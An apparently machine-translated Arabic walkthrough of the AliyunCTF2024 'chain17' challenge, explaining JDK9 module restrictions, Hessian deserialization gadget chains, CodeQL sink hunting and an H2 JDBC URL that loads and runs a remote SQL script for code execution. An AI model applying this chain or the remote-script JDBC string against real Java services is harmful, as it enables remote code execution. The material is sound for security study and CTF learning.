الفسفور الابيض الرسمي:https://xz.aliyun.com/t/14190
وحدة Jdk9
تظهر آلية الوحدة في dk9:https://zhuanlan.zhihu.com/p/640217638.
ختاماً:
ينقسم نطاق Java API إلى طرق وفئات وحزم ووحدات (الأعلى). تحتوي الوحدة على الكثير من المعلومات الأساسية:
- اسم
- التبعيات على وحدات أخرى
- واجهة برمجة التطبيقات المفتوحة (البرامج الأخرى موجودة داخل الوحدة ولا يمكن الوصول إليها)
- الخدمات المستخدمة والمقدمة
ستحتوي كل وحدة على ملف Module-info.java، مثل الوحدة التي يوجد بها TemplatesImpl:
java.xml هو اسم الوحدة، وليس بالضرورة نفس اسم الحزمة.
تشير الصادرات إلى حزم الوحدة الحالية التي يمكن الوصول إليها خارجيًا. يشبه إلى حد ما العقدة.
الصادرات…إلى تعني تحديد الحزم التي يمكنها الوصول إلى الحزمة فقط.
يمكن للفصول الموجودة ضمن نفس الوحدة الوصول إلى بعضها البعض.
لم يتم تصدير الحزمة التي يوجد بها TemplatesImpl، لذلك لا يمكننا الوصول إليها.
-الفتحات الإضافية
من خلال إضافة خيار VM أثناء تشغيل البرنامج، يمكنك الوصول إلى الوحدات النمطية التي لا يمكن الوصول إليها بأي طريقة أخرى. قواعد:--add-opens (module)/(package)=module
،يحب:--add-opens java.base/java.util.concurrent.atomic=ALL-UNNAMED
، مما يعني أن هناك حزمة معينة ضمن هذه الوحدة مفتوحة لجميع الوحدات غير المسماة. وبشكل عام، توجد الفئات التي لا تحتوي على معلومات الوحدةunnamed module @ xxxxx
تحت.
setAccessible
هذا هو ما يجب عليك استخدامه لتعيين الخصائص الخاصة، ولكن في jdk9، هناك خاصية إضافية في setAccessible للتحقق من أذونات الوصول.
خلاصة القول، الحالات التالية يمكن الوصول إليها:
- الوحدة الحالية هي نفس الوحدة التي تمت زيارتها
- الوحدة الحالية هي java.base
- الوحدة التي تمت زيارتها هي وحدة غير مسماة
- الفئة عامة ويتم تصدير الحزمة إلى المتصل
- العضو عام
- العضو محمي ثابت
- الحزمة مفتوحة للمتصل
إلغاء التسلسل
فئة إلغاء التسلسل، لا تتأثر بالوحدة النمطية.
على سبيل المثال، قم بإضافة –add-opens لإجراء تسلسل لـXString في التشغيل الأول وكتابته في ملف. عند التشغيل للمرة الثانية، بدون إضافة –فتح الإضافة، تتم قراءة الملف وتنجح عملية إلغاء التسلسل.
إلغاء التسلسل هسه
وهذا أيضًا جزء مهم من المحتوى.
طريقة الاستخدام الأساسية: عندما يكون الكائن الخارجي الذي تم إلغاء تسلسله عبارة عن خريطة، سيتم استدعاء طريقة وضع الخريطة.
لذلك، يمكن استخدام الأدوات الذكية التي يتم تشغيلها بواسطة put، مثل الاثنين التاليين، وكلاهما يعملان put->toString.
هاشماب+XString.
HashMap+HotSwappableTagetSource+XString
لكن هذا السؤال ليس سؤالاً هسيًا عاديًا
هناك قائمة سوداء
يتم تضمين XStraing أيضًا.
هجوم h2 jdbc
https://xz.aliyun.com/t/13931
قاعدة بيانات h2، إذا كان من الممكن تنفيذ عبارة SQL هذه، فيمكن أن تكون rce.
عندما يتم تحديد عنوان URL الخاص باتصال jdbc على هذا النحو، سيتم تحميل بيان SQL البعيد ثم تنفيذه.
jdbc:h2:mem:testdb;TRACE_LEVEL_SYSTEM_OUT=3;INIT=RUNSCRIPT FROM 'http://127.0.0.1:8000/poc.sql'
لنأخذ مثالا:
ملف بوم
رئيسي
فقط قم بتشغيله لتشغيل الآلة الحاسبة.
مراقبة الرئيسية. لا توجد حزمة تعتمد على الاستيراد h2. هل يمكن إزالة هذه التبعية؟
PooledDSFactory هي فئة تستخدم لبدء اتصالات قاعدة البيانات في تبعيات hutool، ويلزم وجود برنامج تشغيل للاتصال. يتم وضع برنامج التشغيل في تبعية h2.
لذلك، بعد إزالة تبعية h2، ستتم مطالبتك بعدم العثور على برنامج التشغيل.
JSONObject
cn.hutool.json.JSONObject.
هذه الفئة عبارة عن خريطة. سيتم تشغيل Value.toString عند وضع (مفتاح، قيمة)، ولكن القيمة يجب أن تكون فئة داخلية لجافا.
سيتم إدخال طريقة الوضع هنا.
ثم أدخل التفاف.
يمكنك أن ترى أن تشغيل toString مشروط أيضًا، أي أنه يجب أن يكون فئة Java داخلية.
مرجع ذري
java.util.concurrent.atomic.AtomicReference
سوف تستدعي طريقة toString لهذه الفئة toString لسمة القيمة الخاصة بها.
خصائص بوجونود
من المعروفjackson#toString
يمكنك استدعاء getter، ولكن قيمة الإرجاع الخاصة بـ getter، إذا كانت كائنًا، ستستمر في استدعاء getter للكائن.
يخرجBeanPropertyWriter#serializeAsField
السطر الأول هو استدعاء getter، والقيمة المرجعة لـ getter هي القيمة
لا تزال تستخدم هذه الطريقة، إذا واصلت النزول، ستصل إلى هنا، ويتم تمرير القيمة:
استمر في المتابعةserializeFields
في هذه الطريقة، تعتبر الدعامة إحدى سمات الكائن، وليس بالضرورة متغير عضو. إذا كانت هناك طريقة getA، ولكن لا توجد سمة A، فسيتم تضمين A أيضًا في الدعامة.
الخطوة التالية هي إدخال serializeAsField الخاص بالخاصية، ثم الاستمرار في استدعاء المُستقبل. لاحظ أن المُحصل في هذا الوقت هو مُحصل القيمة بالفعل.
ClassPathXmlApplicationContext
ألق نظرة على wp الرسمي:https://xz.aliyun.com/t/14190
سلسلة الاتصال:JSONObject.put -> AtomicReference.toString -> POJONode.toString -> Bean.getObject -> DSFactory.getDataSource -> Driver.connect
عندما بدأت القراءة لأول مرة، راودتني بعض الأسئلة:
1. تتم إضافة المعلمة –add-opens عند التشغيل محليًا للوصول إلى الفئات التي لا يمكن الوصول إليها في الأصل. ومع ذلك، عند التشغيل عن بعد، لا توجد طريقة لإضافتها عن بعد. هل يعني ذلك أنه لا يمكن الوصول إلى هذه الفئات عن بعد؟
2. تتم إضافة هذا إلى ملف الإرساء الخاص بالسؤال:--add-opens java.base/java.util.concurrent.atomic=ALL-UNNAMED
والغرض من ذلك هو السماح للوحدة الحالية بالوصول إلى الوحدات الأخرى. لكن الفئات الأخرى، مثل POJONode، موجودة أيضًا في وحدات أخرى. لماذا يمكن إلغاء تسلسلها بشكل طبيعي دون إضافتها؟
3. لماذا توجد مكالمات متعددة بين JSONObject وPOJONode؟AtomicReference#toString
.
4. اكتب PooledDSFactory مباشرة في الحبة. في هذه الحالة، يتم استدعاء readObject الخاص بـ PooledDSFactory. وفقًا لما أفهمه، يجب تغطية PooledDSFactory بطبقة أخرى من readObject->toString->getter، ثم إدراجها في الحبة.
فيما يتعلق بالنقطة الثانية، سوف يستدعي Hessian setAccessible عند إلغاء تسلسل السمات واستعادتها. نظرًا لأن وحدة AtomicReference هي java.base، فلا يمكن الوصول إليها في الأصل، لذلك يجب إضافة –add-opens. بالنسبة للفئات الأخرى مثل POJONode، الوحدة النمطية عبارة عن وحدة نمطية غير مسماة، ويمكن لـ setAccessible المرور، ولا يتحقق إلغاء التسلسل من الوحدة النمطية، لذلك لا بأس بعدم إضافتها.
يمكن الإجابة على جميع الأسئلة الأخرى أعلاه.
أيضًا، عند إنشاء الحمولة محليًا، يمكنك إخراج Base64، ولكن ستكون هناك استثناءات، لكنها لا تؤثر عليها.
بحث نقطة الغرق
أولا، عليك أن تعرف ما هي أساليب RCE في جافا.
- Runtime.getRuntime().exec
- جديد ProcessBuilder(“”).start()
- يمكن التحكم في الطريقة رقم الاستدعاء والطريقة والمعلمات
- تحميل الفئة عن بعد URLClassLoader#loadClass
- يوجد TemplatesImpl في jdk8، لكنه يختفي بعد jdk9.
- الإصدار العالي من JDNI وBeanFactory
- أي مثيل للفئة
عندما قرأت هذا السؤال، لم أتوقع إنشاء مثيل عشوائي للفصل الدراسي. استخدم codeql للتحقق من حزمة jooq. لا يوجد وقت تشغيل، ولا يوجد ProcessBuilder، وبعض أنواع التحميل وطريقة #استدعاء، لكن لا يمكن التحكم فيها. لذلك يمكننا فقط أن نفكر فيما إذا كانت حزمة jooq تحتوي على rce مشابه لـ jdbc وليست ضمن النطاق أعلاه، مثل h2 الذي يستخدمه الوكيل.
ولكن في الواقع، يمكن استخدام ClassPathXmlApplicationContext الجديد. عندما طلب مني Pop استخدام Codeql للبحث عن طريقة NewInstance، تذكرت طريقة RCE هذه. (كانت جهة الاتصال الأولى عبارة عن هجوم inpgsql jdbc)
تعدين كوديكل
تحقق من المثيل الجديد أولاً
ثم نحتاج إلى العثور على مسار المُحصل للوصول إلى هذا المثيل الجديد.
لا توجد نتائج كثيرة، ويمكنك العثور على النتيجة الصحيحة من خلال دمجها مع الفحص اليدوي، أيConvertedVal#getValue -> ConvertAll#from
يمكن أن نرى من الاسم أن الوظائف متشابهة جدًا.
هيكل السلسلة
ثم املأ السلسلة في المنتصف
bean.xml
هذا مقبول
هذا لا يعمل، لا أعرف لماذا.
الخادم موجود على الشبكة الداخلية ويجب الاتصال به من خلال وكيل. هذه الخطوة مزعجة للغاية. الطريقة الوحيدة التي يمكنني التفكير بها هي كتابة الملف بعد وكيل getshell وإعداد وكيل للاتصال بالإنترانت. وبعد أن جربته واجهتني مشكلة بسيطة، فاتبعت التعليمات الرسمية.
يقوم wp الرسمي بتنفيذ كود Java مباشرة عندما يحصل الوكيل على poc.sql
الاستنساخ ناجح.
التدوينة شرح تفصيلي لـ AliyunCTF2024-chain17 ظهرت للمرة الأولى على DIGITALIVE.WORLD.
#AliyunCTF2024chain17 #شرح #مفصل